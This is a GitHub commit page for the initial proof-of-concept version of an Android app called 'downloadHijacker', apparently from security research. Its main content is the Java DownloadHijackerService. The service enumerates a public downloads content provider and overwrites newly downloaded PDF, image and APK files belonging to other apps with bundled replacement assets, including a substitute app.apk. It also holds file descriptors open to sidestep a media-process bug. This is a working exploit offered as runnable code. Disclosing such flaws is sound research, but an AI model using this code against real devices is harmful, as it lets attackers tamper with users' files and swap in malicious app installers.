Skip to content

Commit dfe2f9b

Browse files
committed
Initial PoC version
1 parent c47cc86 commit dfe2f9b

38 files changed

+1164
-2
lines changed

.gitignore

+17-2
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
# Built application files
22
*.apk
33
*.ap_
4+
*.aab
45

56
# Files for the ART/Dalvik VM
67
*.dex
@@ -41,16 +42,20 @@ captures/
4142
.idea/dictionaries
4243
.idea/libraries
4344
.idea/caches
45+
# Android Studio 3 in .gitignore file.
46+
.idea/caches/build_file_checksums.ser
47+
.idea/modules.xml
4448

4549
# Keystore files
46-
# Uncomment the following line if you do not want to check your keystore files in.
50+
# Uncomment the following lines if you do not want to check your keystore files in.
4751
#*.jks
52+
#*.keystore
4853

4954
# External native build folder generated in Android Studio 2.2 and later
5055
.externalNativeBuild
5156

5257
# Google Services (e.g. APIs or Firebase)
53-
google-services.json
58+
# google-services.json
5459

5560
# Freeline
5661
freeline.py
@@ -63,3 +68,13 @@ fastlane/Preview.html
6368
fastlane/screenshots
6469
fastlane/test_output
6570
fastlane/readme.md
71+
72+
# Version control
73+
vcs.xml
74+
75+
# lint
76+
lint/intermediates/
77+
lint/generated/
78+
lint/outputs/
79+
lint/tmp/
80+
# lint/reports/

.idea/misc.xml

+14
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

.idea/runConfigurations.xml

+12
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

app/.gitignore

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
/build

app/build.gradle

+28
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
apply plugin: 'com.android.application'
2+
3+
android {
4+
compileSdkVersion 27
5+
defaultConfig {
6+
applicationId "com.ioactive.downloadHijacker"
7+
minSdkVersion 21
8+
targetSdkVersion 27
9+
versionCode 1
10+
versionName "1.0"
11+
testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner"
12+
}
13+
buildTypes {
14+
release {
15+
minifyEnabled false
16+
proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
17+
}
18+
}
19+
}
20+
21+
dependencies {
22+
implementation fileTree(dir: 'libs', include: ['*.jar'])
23+
implementation 'com.android.support:appcompat-v7:27.1.1'
24+
implementation 'com.android.support.constraint:constraint-layout:1.1.2'
25+
testImplementation 'junit:junit:4.12'
26+
androidTestImplementation 'com.android.support.test:runner:1.0.2'
27+
androidTestImplementation 'com.android.support.test.espresso:espresso-core:3.0.2'
28+
}

app/proguard-rules.pro

+21
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
# Add project specific ProGuard rules here.
2+
# You can control the set of applied configuration files using the
3+
# proguardFiles setting in build.gradle.
4+
#
5+
# For more details, see
6+
# http://developer.android.com/guide/developing/tools/proguard.html
7+
8+
# If your project uses WebView with JS, uncomment the following
9+
# and specify the fully qualified class name to the JavaScript interface
10+
# class:
11+
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
12+
# public *;
13+
#}
14+
15+
# Uncomment this to preserve the line number information for
16+
# debugging stack traces.
17+
#-keepattributes SourceFile,LineNumberTable
18+
19+
# If you keep the line number information, uncomment this to
20+
# hide the original source file name.
21+
#-renamesourcefileattribute SourceFile

app/src/main/AndroidManifest.xml

+23
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
3+
package="com.ioactive.downloadHijacker">
4+
5+
<application
6+
android:allowBackup="true"
7+
android:icon="@mipmap/ic_launcher"
8+
android:label="@string/app_name"
9+
android:roundIcon="@mipmap/ic_launcher_round"
10+
android:supportsRtl="true"
11+
android:theme="@style/AppTheme">
12+
<activity android:name="com.ioactive.downloadHijacker.MainActivity" android:windowSoftInputMode="stateHidden">
13+
<intent-filter>
14+
<action android:name="android.intent.action.MAIN" />
15+
<category android:name="android.intent.category.LAUNCHER" />
16+
</intent-filter>
17+
</activity>
18+
19+
<service
20+
android:name="com.ioactive.downloadHijacker.DownloadHijackerService"
21+
android:exported="false"/>
22+
</application>
23+
</manifest>

app/src/main/assets/troll.gif

36.5 KB
Loading

app/src/main/assets/troll.jpg

67.1 KB
Loading

app/src/main/assets/troll.pdf

55.1 KB
Binary file not shown.

app/src/main/assets/troll.png

37 KB
Loading
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,159 @@
1+
package com.ioactive.downloadHijacker;
2+
3+
import android.app.IntentService;
4+
import android.content.ContentResolver;
5+
import android.content.Intent;
6+
import android.content.res.AssetManager;
7+
import android.database.Cursor;
8+
import android.net.Uri;
9+
import android.os.ParcelFileDescriptor;
10+
import android.util.Log;
11+
12+
import java.io.FileOutputStream;
13+
import java.io.IOException;
14+
import java.io.InputStream;
15+
import java.util.ArrayList;
16+
17+
import static com.ioactive.downloadHijacker.MainActivity.PUBLIC_DOWNLOADS_ID_URI;
18+
import static com.ioactive.downloadHijacker.MainActivity.TAG;
19+
20+
public class DownloadHijackerService extends IntentService {
21+
22+
// The service will stop automatically after "SERVICE_LIFETIME_MS" milliseconds
23+
private static final int SERVICE_LIFETIME_MS = 5 * 60 * 1000;
24+
25+
// How many IDs to iterate starting from the last ID found
26+
private static final int MONITOR_RANGE = 50;
27+
28+
private static final int FILE_PDF = 0;
29+
private static final int FILE_PNG = 1;
30+
private static final int FILE_JPG = 2;
31+
private static final int FILE_GIF = 3;
32+
private static final int FILE_APK = 4;
33+
34+
// Array containing input streams to overwrite the downloaded files with different formats
35+
private static InputStream[] mOverwriteStreams = new InputStream[5];
36+
37+
// Dummy container for file descriptors, to keep a reference and avoid closing them
38+
ArrayList<ParcelFileDescriptor> mFileDescriptors = new ArrayList<ParcelFileDescriptor>();
39+
40+
public DownloadHijackerService() {
41+
super("DownloadHijackerService");
42+
}
43+
44+
private void initializeInternalAssets() {
45+
AssetManager assetManager = getAssets();
46+
try {
47+
mOverwriteStreams[FILE_PDF] = assetManager.open("troll.pdf");
48+
mOverwriteStreams[FILE_PNG] = assetManager.open("troll.png");
49+
mOverwriteStreams[FILE_JPG] = assetManager.open("troll.jpg");
50+
mOverwriteStreams[FILE_GIF] = assetManager.open("troll.gif");
51+
mOverwriteStreams[FILE_APK] = assetManager.open("app.apk");
52+
} catch (IOException ex) {
53+
Log.e(TAG, "DownloadHijackerService: Error reading internal assets", ex);
54+
}
55+
}
56+
57+
private static InputStream getOverwriteStreamByFileExtension(String filename) {
58+
if (filename != null && !filename.isEmpty()) {
59+
filename = filename.toLowerCase();
60+
if (filename.endsWith(".pdf"))
61+
return mOverwriteStreams[FILE_PDF];
62+
else if (filename.endsWith(".png"))
63+
return mOverwriteStreams[FILE_PNG];
64+
if (filename.endsWith(".jpg") || filename.endsWith(".jpeg"))
65+
return mOverwriteStreams[FILE_JPG];
66+
if (filename.endsWith(".gif"))
67+
return mOverwriteStreams[FILE_GIF];
68+
if (filename.endsWith(".apk") || filename.endsWith(".bin"))
69+
return mOverwriteStreams[FILE_APK];
70+
}
71+
return null;
72+
}
73+
74+
@Override
75+
protected void onHandleIntent(Intent workIntent) {
76+
Log.d(TAG, "Starting download hijacker service...");
77+
//android.os.Process.setThreadPriority(-20);
78+
initializeInternalAssets();
79+
80+
int minId = workIntent.getIntExtra("minId", 0);
81+
int maxId = workIntent.getIntExtra("maxId", 1000);
82+
boolean closeFiles = workIntent.getBooleanExtra("closeFiles", false);
83+
int lastId = 0;
84+
85+
// Try to find the last used identifier to optimize the monitored range
86+
// and avoid overwriting preexisting files
87+
ContentResolver res = this.getContentResolver();
88+
for (int id = minId; id < maxId; id++) {
89+
Uri uri = Uri.parse(PUBLIC_DOWNLOADS_ID_URI + id);
90+
Cursor cur = res.query(uri, null, null, null, null);
91+
try {
92+
if (cur != null && cur.getCount() > 0) {
93+
lastId = Math.max(id, lastId);
94+
}
95+
} finally {
96+
if (cur != null)
97+
cur.close();
98+
}
99+
}
100+
101+
Log.d(TAG, "Service ready! Last download ID = " + lastId);
102+
long tStart = System.currentTimeMillis();
103+
104+
while (System.currentTimeMillis() < tStart + SERVICE_LIFETIME_MS) {
105+
for (int id = lastId + 1; id < lastId + MONITOR_RANGE; id++) {
106+
Uri uri = Uri.parse(PUBLIC_DOWNLOADS_ID_URI + id);
107+
Cursor cur = res.query(uri, null, null, null, null);
108+
109+
try {
110+
if (cur != null && cur.getCount() > 0) {
111+
cur.moveToFirst();
112+
String rowData = cur.getString(cur.getColumnIndex("_data"));
113+
String rowUri = cur.getString(cur.getColumnIndex("uri"));
114+
Log.d(TAG, id + " " + rowData + " " + rowUri);
115+
116+
InputStream is = getOverwriteStreamByFileExtension(rowData);
117+
if (is != null) {
118+
try {
119+
ParcelFileDescriptor f = res.openFileDescriptor(uri, "rwt");
120+
FileOutputStream fos = new FileOutputStream(f.getFileDescriptor());
121+
is.reset();
122+
123+
byte[] buffer = new byte[1024];
124+
int length;
125+
while ((length = is.read(buffer)) > 0) {
126+
fos.write(buffer, 0, length);
127+
}
128+
129+
fos.flush();
130+
131+
// Keeping a reference to the file descriptor to avoid closing it.
132+
// If the file descriptor is closed, a bug in the media process will
133+
// raise an exception attempting to update the download database with
134+
// the new file size and modification timestamp.
135+
if (closeFiles)
136+
f.close();
137+
else
138+
mFileDescriptors.add(f);
139+
140+
Log.d(TAG, "File overwritten: " + rowData );
141+
lastId = Math.max(id, lastId);
142+
} catch (Exception e) {
143+
Log.e(TAG, "Error overwriting file: ", e);
144+
}
145+
}
146+
}
147+
} catch (Exception e) {
148+
Log.e(TAG, "onHandleIntent: ", e);
149+
} finally {
150+
if (cur != null)
151+
cur.close();
152+
}
153+
}
154+
}
155+
156+
Log.d(TAG, "Download hijacker service stopped.");
157+
stopSelf();
158+
}
159+
}

0 commit comments

Comments
 (0)